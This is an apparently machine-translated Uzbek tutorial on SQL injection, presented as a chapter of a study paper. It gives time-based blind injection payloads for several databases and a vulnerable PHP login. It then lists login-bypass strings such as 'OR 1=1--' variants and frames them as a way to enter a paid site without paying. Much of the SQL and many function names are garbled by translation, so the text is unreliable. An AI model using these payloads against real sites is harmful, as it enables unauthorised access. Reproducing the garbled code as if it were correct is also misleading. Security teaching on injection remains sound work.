31. To'liq ko'r in'ektsiya
Agar siz haqiqatan ham ko'r-ko'rona in'ektsiyangiz bo'lsa, ushbu usuldan foydalaning. Kutish vaqtlari bilan ehtiyot bo'ling.
Sintaksis:
Kechikishni kuting "vaqt" (S)
Funktsiya shunchaki protsessorni yuklamasdan belgilangan vaqtni kutadi.
Misollar:
agar (foydalanuvchini tanlang) \u003d "sa" kutish vaqtini kechiktirish "0: 0: 10"
ProductID \u003d 1; kutish vaqti "0: 0: 10" -
ProductID \u003d 1); kutish vaqti "0: 0: 10" -
ProductID \u003d 1 "; kutishning kechikishi" 0: 0: 10 "-
ProductID \u003d 1 "); kutish vaqti" 0: 0: 10 "-
ProductID \u003d 1)); kutish vaqti "0: 0: 10" -
ProductID \u003d 1 ")); kutish vaqti" 0: 0: 10 "-
Sintaksis:
BENCHMARK (qanday qilib buni amalga oshiring) (M)
Misol:
Agar mavjud bo'lsa (foydalanuvchi nomi "" "root" bo'lgan foydalanuvchini tanlasangiz) BENCHMARK (1000000000, MD5 (1))
Ildiz foydalanuvchisi tekshirilmoqda.
IF (TIZIMNI TO'G'RISIDA TANLASH) BENCHMARK (1000000, MD5 (1))
MySQL-da jadval mavjudligini tekshiring
Sintaksis:
pg_ uxlash vaqti (soniya) (P)
Berilgan soniyalar uchun uxlang.
uyqu (soniya) (M)
berilgan soniyalarga uyqu.
bms_pipe.receive_message (O)
berilgan soniyalarga uyqu.
Misol:
(NVL (ASCII (SUBSC ((((INJECTION))) ), 1) BOSHQA ikki tomonlama)
(INJECTION) - sizning so'rovingiz.
Agar shart to'g'ri bo'lsa, javob 10 soniya bo'ladi. Aks holda, javob 1 soniya bo'ladi
II.bob. Web dasturlarda SQL inyeksiyani qo’llash va undan himoya
2.1 Web dasturlarda SQL inyeksiyani qo’llashga misollar
Hujumni tushuntirish uchun, siz bitta muhim vositani yuklab olish uchun saytga borganingizni tasavvur qiling va siz buni faqat ro'yxatdan o'tgan foydalanuvchi amalga oshirishi mumkinligidan qo'rqasiz va ro'yxatdan o'tish, albatta pul talab qiladi costs Men oxirgi pulni qaytarib berishni xohlamayman, lekin dastursiz! Qanday qilib o'ylash vaqti keldi ma'lumotlar bazalariga kirish SQL. Masalan, PHP-da foydalanuvchi nomi va parolni tekshirish quyidagicha ko'rinishi mumkin:
$ result \u003d mysql_db_query ($ db, "SELECT * FROM $ jadval qayerda foydalanuvchi \u003d" $ login "VA
pass \u003d "$ parol" ");
$ num_rows \u003d mysql_num_rows ($ natija);
mysql_close ($ havola);
agar ($ num_rows! \u003d 0)
{
// avtoritet OK
}
yana
{
// AVTENTIKATsIYa Xato
}
Men ikkita sharhni qo'shdim, buning o'rniga "AUTHENTICATION OK" - kerak
parol va login to'g'ri bo'lsa, bajariladigan kodga o'ting. Yana bir "AUSTENTICATION XATOLARI" bu noto'g'ri kod ko'rsatilgan bo'lsa bajariladigan koddir. Agar siz anketani to'ldirsangiz, so'rov "http://www.server.com?login\u003duser&password\u003d31337" ga o'xshaydi, bu erda www.server.com nomi.
biz ulanmoqchi bo'lgan server. Biz qidirgan narsamizni topdik va shu bilan yana ishlashga qaytamiz SQL. Shunday qilib, avtorizatsiya uchun login va parolni ko'rsatishingiz kerak bo'lsa, u holda hosil bo'ladi SQL Talab quyidagicha bo'ladi:
TANLANG * QAYERDAN foydalanuvchilar, qayerda login \u003d "foydalanuvchi" VA
parol \u003d "31337"
Bu shunga o'xshash narsani anglatadi: foydalanuvchi ma'lumotlar bazasidagi barcha yozuvlarni menga qaytaring, foydalanuvchi nomi "foydalanuvchi" va parol "31337". Agar bunday yozuv mavjud bo'lsa, u holda foydalanuvchi ro'yxatdan o'tgan, ammo yo'q bo'lsa, yo'q ... Ammo ma'lum sharoitlarda hamma narsa tuzatilishi mumkin. Bu shuni anglatadiki, dastur uzatilgan ma'lumotlarning tarkibini tekshirmasa yoki uning mavjudligini to'liq tekshirmasa SQL ko'rsatmalar. Ushbu misolda kirish va parolning ikkita maydoni tekshirilgan, ammo agar siz parol sifatida "31337 ′ AND email\u003d'user@server.com" (qo'shtirnoqsiz) ko'rsatsangiz, so'rov biroz boshqacha bo'ladi:
TANLASH * QAYERDAN foydalanuvchi, qayerda login \u003d "foydalanuvchi" VA parol \u003d "31337" VA email \u003d "user@server.com"
Va agar elektron pochta maydoni mavjud bo'lsa, ushbu shart ham tekshiriladi. Agar Boolean algebra asoslarini eslasak, "va" operatsiyasidan tashqari "yoki" ham mavjudligi yodda qoladi va ulardan foydalanish SQL tomonidan qo'llab-quvvatlanganligi sababli, siz ta'riflangan usulda har doim haqiqiy qiymatni qaytaradigan shartni qo'shish uchun. Buni amalga oshirish uchun login sifatida "foydalanuvchi" yoki "1 \u003d 1 -" belgisini kiritishingiz kerak, bu holda so'rov quyidagi shaklni oladi:
TANLANG * QAYERDAN foydalanuvchi, qayerda login \u003d "foydalanuvchi" YOKI 1 \u003d 1-- "VA
parol \u003d "31337"
Avval bilishingiz kerak: "-" so'rov oxirini anglatadi va "-" dan keyin hamma narsa.
qayta ishlanmaydi! Go'yo biz iltimos qilganimiz kabi:
TANLANG * QAYERDAN foydalanuvchilar, qayerda login \u003d "foydalanuvchi" YOKI 1 \u003d 1
Ko'rib turganingizdek, biz "1 \u003d 1" shartini qo'shdik, shuning uchun sinov sharti "agar foydalanuvchi" yoki 1 \u003d 1 "bo'lsa, lekin barchasi 1 har doim 1 ga teng bo'ladi (faqat Dani Shepovalovning arifmetikasi istisno bo'lishi mumkin :)). Bizning shubhalarimizni sinash uchun
biz "http://www.server.com?login\u003duser yoki 1 \u003d 1 - & parol \u003d 31337" manzil satrida bolg'ani bosamiz. Bu biz qaysi loginni belgilab berganimiz muhim emasligiga olib keladi, ammoayniqsa parol! Va biz matritsadamiz ... oh, tizimda va kerakli narsalarni xavfsiz yuklab olishimiz mumkin.
Ammo bularning barchasi nazariyada. Amalda, biz so'rov qanday shakllantirilganligini, qanday ma'lumotlar uzatilishini va qanday ketma-ketlikni bilmaymiz. Shuning uchun barcha maydonlar uchun "foydalanuvchi" yoki "1 \u003d 1 -" belgisini kiritishingiz kerak. Yashirin maydonlar uchun topshirish formasini tekshirishingiz kerak. HTML tilida ular " ". Agar mavjud bo'lsa, sahifani saqlang va ushbu maydonlarning qiymatlarini o'zgartiring. Ulardagi qiymatlar ko'pincha SQL ko'rsatmalarini tekshirishni unutishadi. Ammo har bir narsa ishlashi uchun u "ACTION" parametri uchun ("FORM" yorlig'i) shaklida bo'lishi kerak, ushbu so'rovni bajaradigan skriptning to'liq yo'lini belgilang.
Ammo so'rov qanday hosil bo'lishi har doim ham ma'lum emas,
O'tgan misol quyidagicha shakllantirilishi mumkin:
TANLASH * QAYERDAN foydalanuvchilar (login \u003d "foydalanuvchi" VA parol \u003d "31337")
TANLASH * QAYERDAN foydalanuvchi, qayerga login \u003d "foydalanuvchi" VA parol \u003d "31337"
TANLASH * QAYERDAN foydalanuvchilar, qayerda login \u003d foydalanuvchi va parol \u003d 31337
Bunday holda siz quyidagi variantlarni sinab ko'rishingiz mumkin:
'OR 1 \u003d 1–
"YOKI 1 \u003d 1 -
YOKI 1 \u003d 1–
'Yo' a '\u003d' a
"YOKI" a "\u003d" a
') YOKI (' a '\u003d' a
YOKI '1' \u003d '1 ′
Hammasi skriptning maqsadiga va dasturchiga bog'liq. Har bir kishi hamma narsani o'ziga xos tarzda bajarishga moyil bo'lgani uchun, dasturchi oson variantni tanlamasligi mumkin. Shuning uchun darhol bo'lmasligi kerak
rad etilsa, voz keching. Zarur,iloji boricha ko'proq variantlarni sinab ko'ring ...
Do'stlaringiz bilan baham: |